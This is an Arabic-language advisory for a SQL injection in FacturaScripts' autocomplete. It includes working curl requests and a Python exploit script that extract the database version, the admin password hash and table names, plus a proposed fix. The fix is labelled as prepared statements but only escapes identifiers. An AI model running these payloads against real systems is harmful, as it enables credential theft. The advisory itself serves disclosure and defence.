
CVE-2026-25514 - يحتوي FacturaScripts على ثغرة حقن SQL في إجراءات الإكمال التلقائي
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-25514 |
| الخطورة | عالية |
| النشرة الأمنية | عرض النشرة الأمنية |
| اكتشفها | Lukasz Rybak |
يحتوي FacturaScripts على ثغرة حرجة لحقن SQL في وظيفة الإكمال التلقائي تتيح للمهاجمين المُصادَق عليهم استخراج بيانات حساسة من قاعدة البيانات بما في ذلك بيانات اعتماد المستخدمين وإعدادات التهيئة وجميع بيانات الأعمال المخزنة. توجد الثغرة في طريقة CodeModel::all() حيث يتم دمج المعاملات المقدمة من المستخدم مباشرةً في استعلامات SQL دون تعقيم أو ربط مُعامل.
تنفذ عدة وحدات تحكم في FacturaScripts، بما في ذلك CopyModel وListController وPanelController، إجراء إكمال تلقائي يعالج مدخلات المستخدم عبر طريقتي CodeModel::search() أو CodeModel::all(). تنشئ هذه الطرق استعلامات SQL عن طريق دمج المعاملات التي يتحكم بها المستخدم مباشرةً دون أي تحقق أو تهريب.
الملف: /Core/Model/CodeModel.php
الطريقة: all()
الأسطر: 108-109
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
المعاملات التالية معرضة لحقن SQL:
source → يُرسم إلى $tableName - حقن اسم الجدولfieldcode → يُرسم إلى $fieldCode - حقن اسم العمودfieldtitle → يُرسم إلى $fieldDescription - حقن اسم العمود (ناقل الهجوم الأساسي)/CopyModel مع action=autocompletefieldtitleنظرًا لأن FacturaScripts يستخدم MultiRequestProtection، فإن multireqtoken صالحًا مطلوب لكل طلب POST.
1. الحصول على الرمز المميز الأولي وملف تعريف الارتباط للجلسة:
يعيد FacturaScripts توجيه / إلى /login، لذا نستخدم -L لمتابعة عمليات إعادة التوجيه و-c لحفظ ملف تعريف الارتباط الخاص بالجلسة.
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
2. المصادقة (تسجيل الدخول): استخدم ملف تعريف الارتباط المحفوظ والرمز المميز لتسجيل الدخول.
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
3. استخراج إصدار قاعدة البيانات: احصل على رمز مميز جديد للطلب التالي ونفذ الحقن.
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
4. استخراج مستخدم قاعدة البيانات واسمها:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
5. استخراج تجزئة كلمة مرور المسؤول:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()
لهذه الثغرة تأثير حرج:
الخيار 1: استخدام العبارات المُجهزة مسبقًا
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
اكتشفها: Łukasz Rybak
تم الإفصاح عن هذه الثغرة (CVE) بمسؤولية وفقًا لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.